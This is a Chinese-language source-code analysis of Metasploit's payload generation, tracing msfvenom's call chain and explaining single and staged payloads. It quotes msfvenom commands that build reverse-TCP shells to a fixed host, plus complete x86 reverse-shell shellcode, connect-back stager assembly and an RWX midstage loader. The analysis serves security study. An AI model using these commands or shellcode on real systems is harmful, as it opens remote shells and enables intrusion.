一、msf 結構
1.1. 架構圖
架構圖如下所示:

其中metasploit最重要的部分為模塊部分,,分別為輔助模塊(Auxiliary)、滲透攻擊模塊(Exploits)、后滲透攻擊模塊(Post)、攻擊載荷模塊(payloads)、編碼器模塊(Encoders)、空指令模塊(Nops)以及免殺模塊(Evasion)。其功能如下:
◆輔助模塊:通過對網絡服務的掃描,收集登陸密碼或者 Fuzz 測試發掘漏洞等方式取得目標系統豐富的情報信息,從而發起精準攻擊。
◆滲透攻擊模塊:包括利用已發現的安全漏洞等方式對目標發起攻擊,執行攻擊載荷的主動攻擊和利用偽造的 office 文檔或瀏覽器等方式使目標上的用戶自動觸發執行攻擊載荷的被動攻擊。
◆空指令模塊:跟隨滲透攻擊模塊成功后的造成任何實質影響的空操作或者無關操作指令的無效植入代碼,目的保證后面的攻擊載荷能順利執行。常見的在 x86 CPU 體系架構平臺上的操作碼是 0x90。
◆攻擊載荷模塊:跟隨滲透攻擊模塊成功后在目標系統運行的有效植入代碼,目標是建立連接,得到目標 shell。
◆編碼器模塊:同空指令模塊作用相似,保證不會受到漏洞參數或者目標系統類型的限制導致無法順利執行。
◆后滲透攻擊模塊:在獲取到目標 shell 之后,進行后滲透攻擊,比如獲取信息,跳板甚至內網滲透。
◆免殺模塊:作為 V5 版本新增的功能,只包含對 windows defender 類型。免殺方式較為簡單,申請內存,拷貝攻擊載荷,執行攻擊載荷。
1.2. 攻擊鏈
基于模塊功能可以得到如下圖所示攻擊鏈:

一個完整的msf攻擊過程會包括 payloads生成,編碼(可選),添加空指令,生成有效載荷并執行攻擊。獲取到shell后可使用后滲透模塊以及輔助模塊協助滲透等等。而其中最重要的功能則是攻擊載荷模塊也就是payloads的生成模塊。
二、payloads
可以分為兩類:stage和stageless,其中:
◆stageless為獨立載荷(Single),可以直接植入目標系統并執行相應的程序。
◆stage為分階段載荷,包括:
stager: 傳輸器載荷,用于目標機與攻擊機之間建立穩定的網絡連接,與傳輸體載荷配合攻擊。通常該種載荷體積都非常小,可以在漏洞利用后方便注入。
stage: 傳輸體載荷,如 shell、meterpreter 等。在 stager 建立好穩定的連接后,攻擊機將 stage 傳輸給目標機,由 stagers 進行相應處理,將控制權轉交給 stage。比如得到目標機的 shell,或者 meterpreter 控制程序運行。
payload生成使用msfvenom作為入口函數。
2.1. Single
以msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > meterpreter_reverse_tcp為例。
首先調用msfvenom中的venom_generator.generate_payload函數。
跟進對應函數,路徑為payload_generator.rb。通過一系列參數檢查。然后調用generate_raw_payload函數。
跟進,調用payload_module.generate_simple,路徑為simple\payload.rb,調用Msf::Simple::Payload.generate_simple(self, opts, &block)。
跟進,調用EncodedPayload.create,路徑為encoded_payload.rb,調用generate函數。
跟進,調用generate_raw(),然后調用generate_complete函數。
跟進,調用apply_prepends(generate)。這里根據generate選擇對應的生成函數。在本例中,選擇的是meterpreter_reverse_tcp.rb。
跟進,查看對應的 generate函數,調用MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec
跟進generate_config,根據 datastore設定對應的config文件,然后調用Mettle.new()函數實例化對象,調用to_binary函數生成對應的bin文件。
to_binary函數如下:
#
# Available formats are :process_image, :dylib, :dylib_sha1 and :exec
#
def to_binary(format=:process_image)
# 讀取模板
bin = self.class.read(@platform, format)
unless @config.empty?
# 將配置文件轉化為串 `mettle -U "E1tOcvbz2ZSWf5B+9xap0g==" -G "AAAAAAAAAAAAAAAAAAAAAA==" -u "tcp://10.96.101.161:8888" -d "0" -o "" -b "0" ` + "\x00" * (CMDLINE_MAX - cmd_line.length)
params = generate_argv
# 將串插入到模板中
bin = add_args(bin, params)
end
bin
end
add_args函數如下:
def add_args(bin, params)
if params[8] != "\x00"
# 替換對應位置內容,查詢知應為rdata區。
bin.sub(CMDLINE_SIG + ' ' * (CMDLINE_MAX - CMDLINE_SIG.length), params)
else
bin
end
end
然后調用payload_generator中的format_payload(raw_payload)得到最終的payload可執行程序。
以msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > shell_reverse_tcp為例,前面都同上,在調用apply_prepends(generate)時本例中,選擇的是shell_reverse_tcp.rb。
其完整內容如下:
"\x31\xdb" + # xor ebx,ebx
"\xf7\xe3" + # mul ebx
"\x53" + # push ebx
"\x43" + # inc ebx
"\x53" + # push ebx
"\x6a\x02" + # push byte +0x2
"\x89\xe1" + # mov ecx,esp
"\xb0\x66" + # mov al,0x66 (sys_socketcall)
"\xcd\x80" + # int 0x80
"\x93" + # xchg eax,ebx
"\x59" + # pop ecx
"\xb0\x3f" + # mov al,0x3f (sys_dup2)
"\xcd\x80" + # int 0x80
"\x49" + # dec ecx
"\x79\xf9" + # jns 0x11
"\x68" + [IPAddr.new(datastore['LHOST'], Socket::AF_INET).to_i].pack('N') + # push ip addr
"\x68\x02\x00" + [datastore['LPORT'].to_i].pack('S>') + # push port
"\x89\xe1" + # mov ecx,esp
"\xb0\x66" + # mov al,0x66 (sys_socketcall)
"\x50" + # push eax
"\x51" + # push ecx
"\x53" + # push ebx
"\xb3\x03" + # mov bl,0x3
"\x89\xe1" + # mov ecx,esp
"\xcd\x80" + # int 0x80
"\x52" + # push edx
# Split shellname into 4-byte words and push them one-by-one
# on to the stack
shell_padded.bytes.reverse.each_slice(4).map do |word|
"\x68" + word.reverse.pack('C*')
end.join +
"\x89\xe3" + # mov ebx,esp
"\x52" + # push edx
"\x53" + # push ebx
"\x89\xe1" + # mov ecx,esp
"\xb0\x0b" + # mov al,0xb (execve)
"\xcd\x80" # int 0x80
與上文不同的是這邊生成的是一段shellcode,在后面的format_payload(raw_payload)階段,會將shellcode插入到一個ELF中,并修改對應的偏移,得到最后完整的可執行elf文件。
在本例中,templates路徑為/data/templates/template_x86_linux.bin。
2.2. stage
2.2.1. stager
以-p linux/x86/meterpreter/reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > reverse_tcp為例: 在在調用apply_prepends(generate)時本例中,選擇的是reverse_tcp_x86.rb。和前述不同的是,對應代碼不是在modules目錄下,而是在core目錄下。
最終生成的shellcode如下:
asm = %Q^
push #{retry_count} ; retry counter
pop esi
create_socket:
xor ebx, ebx
mul ebx
push ebx
inc ebx
push ebx
push 0x2
mov al, 0x66
mov ecx, esp
int 0x80 ; sys_socketcall (socket())
xchg eax, edi ; store the socket in edi
set_address:
pop ebx ; set ebx back to zero
push #{encoded_host}
push #{encoded_port}
mov ecx, esp
try_connect:
push 0x66
pop eax
push eax
push ecx
push edi
mov ecx, esp
inc ebx
int 0x80 ; sys_socketcall (connect())
test eax, eax
jns mprotect
handle_failure:
dec esi
jz failed
push 0xa2
pop eax
push 0x#{sleep_nanoseconds.to_s(16)}
push 0x#{sleep_seconds.to_s(16)}
mov ebx, esp
xor ecx, ecx
int 0x80 ; sys_nanosleep
test eax, eax
jns create_socket
jmp failed
^
asm << asm_send_uuid if include_send_uuid
asm << %Q^
mprotect:
mov dl, 0x#{mprotect_flags.to_s(16)}
mov ecx, 0x1000
mov ebx, esp
shr ebx, 0xc
shl ebx, 0xc
mov al, 0x7d
int 0x80 ; sys_mprotect
test eax, eax
js failed
recv:
pop ebx
mov ecx, esp
cdq
mov #{read_reg}, 0x#{read_length.to_s(16)}
mov al, 0x3
int 0x80 ; sys_read (recv())
test eax, eax
js failed
jmp ecx
failed:
mov eax, 0x1
mov ebx, 0x1 ; set exit status to 1
int 0x80 ; sys_exit
^
asm
end
2.2.2. stage
在第一階段建立連接后,攻擊機會向靶機投遞第二階段payload。生成對應的mettle.bin并發送到靶機。在攻擊機上啟動監聽之后,靶機上執行stager,會馬上建立一個socket連接,同時msf啟動一個新的線程,準備生成stage并投遞給靶機。中間還會生成一段midstage,其內容如下:
%(
push edi ; save sockfd
xor ebx, ebx ; address
mov ecx, #{payload.length} ; length
mov edx, 7 ; PROT_READ | PROT_WRITE | PROT_EXECUTE
mov esi, 34 ; MAP_PRIVATE | MAP_ANONYMOUS
xor edi, edi ; fd
xor ebp, ebp ; pgoffset
mov eax, 192 ; mmap2
int 0x80 ; syscall
; receive mettle process image
mov edx, eax ; save buf addr for next code block
pop ebx ; sockfd
push 0x00000100 ; MSG_WAITALL
push #{payload.length} ; size
push eax ; buf
push ebx ; sockfd
mov ecx, esp ; arg array
mov ebx, 10 ; SYS_READ
mov eax, 102 ; sys_socketcall
int 0x80 ; syscall
; setup stack
pop edi
xor ebx, ebx
and esp, 0xfffffff0 ; align esp
add esp, 40
mov eax, 109
push eax
mov esi, esp
push ebx ; NULL
push ebx ; AT_NULL
push edx ; mmap buffer
mov eax, 7
push eax ; AT_BASE
push ebx ; end of ENV
push ebx ; NULL
push edi ; sockfd
push esi ; m
mov eax, 2
push eax ; argc
; down the rabbit hole
mov eax, #{entry_offset}
add edx, eax
jmp edx
)
end
之后則是mettle.bin的發送流程。略過。
三、msf新建payload流程分析
/usr/share/metasploit-framework/lib/msf/core/payload.rb:303:in `generate_complete' /usr/share/metasploit-framework/lib/msf/core/encoded_payload.rb:118:in `generate_raw' /usr/share/metasploit-framework/lib/msf/core/encoded_payload.rb:74:in `generate' /usr/share/metasploit-framework/lib/msf/core/encoded_payload.rb:24:in `create' /usr/share/metasploit-framework/lib/msf/base/simple/payload.rb:52:in `generate_simple' /usr/share/metasploit-framework/lib/msf/base/simple/payload.rb:139:in `generate_simple' /usr/share/metasploit-framework/lib/msf/core/payload_generator.rb:478:in `generate_raw_payload' /usr/share/metasploit-framework/lib/msf/core/payload_generator.rb:422:in `generate_payload' /usr/bin/msfvenom:469:in ` '
使用msfvenom生成payload :msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > shell_reverse_tcp
begin
venom_generator = Msf::PayloadGenerator.new(generator_opts)
payload = venom_generator.generate_payload
rescue Msf::InvalidFormat => e
$stderr.puts "Error: #{e.message}"
$stderr.puts dump_formats
rescue ::Exception => e
elog("#{e.class} : #{e.message}#{e.backtrace * ""}")
$stderr.puts "Error: #{e.message}"
end
跟進payload = venom_generator.generate_payload
# This method is a wrapper around all of the other methods. It calls the correct
# methods in order based on the supplied options and returns the finished payload.
# @return [String] A string containing the bytes of the payload in the format selected
def generate_payload
...
raw_payload = generate_raw_payload
raw_payload = add_shellcode(raw_payload)
## 后面是原始payload編碼混淆
if encoder != nil and encoder.start_with?("@")
raw_payload = multiple_encode_payload(raw_payload)
else
raw_payload = encode_payload(raw_payload)
end
if padnops
@nops = nops - raw_payload.length
end
raw_payload = prepend_nops(raw_payload)
gen_payload = format_payload(raw_payload)
end
跟進raw_payload生成函數raw_payload = generate_raw_payload
# This method generates the raw form of the payload as generated by the payload module itself.
# @raise [Msf::IncompatiblePlatform] if no platform was selected for a stdin payload
# @raise [Msf::IncompatibleArch] if no arch was selected for a stdin payload
# @raise [Msf::IncompatiblePlatform] if the platform is incompatible with the payload
# @raise [Msf::IncompatibleArch] if the arch is incompatible with the payload
# @return [String] the raw bytes of the payload to be generated
def generate_raw_payload
if payload == 'stdin'
if arch.blank?
raise IncompatibleArch, "You must select an arch for a custom payload"
elsif platform.blank?
raise IncompatiblePlatform, "You must select a platform for a custom payload"
end
stdin
else
raise PayloadGeneratorError, "A payload module was not selected" if payload_module.nil?
chosen_platform = choose_platform(payload_module)
if chosen_platform.platforms.empty?
raise IncompatiblePlatform, "The selected platform is incompatible with the payload"
end
chosen_arch = choose_arch(payload_module)
unless chosen_arch
raise IncompatibleArch, "The selected arch is incompatible with the payload"
end
# 這里是生成的位置
payload_module.generate_simple(
'Format' => 'raw',
'Options' => datastore,
'Encoder' => nil,
'MaxSize' => @space,
'DisableNops' => true
)
end
end
跟進generate_simple
# Calls the class method.
#
def generate_simple(opts, &block)
Msf::Simple::Payload.generate_simple(self, opts, &block)
end
再跟進
# Generate a payload with the mad skillz. The payload can be generated in
# a number of ways.
#
# opts can have:
#
# Encoder => A encoder module name.
# BadChars => A string of bad characters.
# Format => The format to represent the data as: ruby, perl, c, raw
# Options => A hash of options to set.
# OptionStr => A string of options in VAR=VAL form separated by
# whitespace.
# NoComment => Disables prepention of a comment
# NopSledSize => The number of NOPs to use
# MaxSize => The maximum size of the payload.
# Iterations => Number of times to encode.
# Force => Force encoding.
#
# raises:
#
# BadcharError => If the supplied encoder fails to encode the payload
# NoKeyError => No valid encoder key could be found
# ArgumentParseError => Options were supplied improperly
#
def self.generate_simple(payload, opts, &block)
# Clone the module to prevent changes to the original instance
payload = payload.replicant
Msf::Simple::Framework.simplify_module(payload)
yield(payload) if block_given?
# Import any options we may need
payload._import_extra_options(opts)
framework = payload.framework
# Generate the payload
e = EncodedPayload.create(payload,
'BadChars' => opts['BadChars'],
'MinNops' => opts['NopSledSize'],
'PadNops' => opts['PadNops'],
'Encoder' => opts['Encoder'],
'Iterations' => opts['Iterations'],
'ForceEncode' => opts['ForceEncode'],
'DisableNops' => opts['DisableNops'],
'Space' => opts['MaxSize'])
...
再跟進create
#
# This method creates an encoded payload instance and returns it to the
# caller.
#
def self.create(pinst, reqs = {})
# Create the encoded payload instance
p = EncodedPayload.new(pinst.framework, pinst, reqs)
p.generate(reqs['Raw'])
return p
end
跟進generate
#
# This method generates the full encoded payload and returns the encoded
# payload buffer.
#
# @return [String] The encoded payload.
def generate(raw = nil)
self.raw = raw
self.encoded = nil
self.nop_sled_size = 0
self.nop_sled = nil
self.encoder = nil
self.nop = nil
# Increase thread priority as necessary. This is done
# to ensure that the encoding and sled generation get
# enough time slices from the ruby thread scheduler.
priority = Thread.current.priority
if (priority == 0)
Thread.current.priority = 1
end
begin
# First, validate
pinst.validate()
# Propagate space information when set
unless self.space.nil?
# Tell the payload how much space is available
pinst.available_space = self.space
# Reserve 10% of the available space if encoding is required
pinst.available_space -= (self.space * 0.1).ceil if needs_encoding
end
# Generate the raw version of the payload first
generate_raw() if self.raw.nil?
....
再跟進generate_raw()
#
# Generates the raw payload from the payload instance. This populates the
# {#raw} attribute.
#
# @return [String] The raw, unencoded payload.
def generate_raw
self.raw = (reqs['Prepend'] || '') + pinst.generate_complete + (reqs['Append'] || '')
# If an encapsulation routine was supplied, then we should call it so
# that we can get the real raw payload.
if reqs['EncapsulationRoutine']
self.raw = reqs['EncapsulationRoutine'].call(reqs, raw)
end
end
最后到generate_complete
#
# Generates the payload and returns the raw buffer to the caller,
# handling any post-processing tasks, such as prepended code stubs.
def generate_complete
apply_prepends(generate)
end
這個位置的generate為一個對象,在本例中,最后指向的是shell_reverse_tcp.rb。
將對應的opcode提取出來,生成raw_payload,然后通過format_payload生成對應的elf可執行文件。
四、總結
本文結合msf源碼簡單分析了msf的payload生成,需要注意的是,msf大部分后滲透階段的工具都在Post 模塊上,但是其調用分析也是類似的,如果對其有興趣可以詳細的學習一下。
虹科網絡安全
安全牛
Rot5pider安全團隊
Coremail郵件安全
關鍵基礎設施安全應急響應中心
一顆小胡椒
安全牛
一顆小胡椒
一顆小胡椒
指尖安全
LemonSec
LemonSec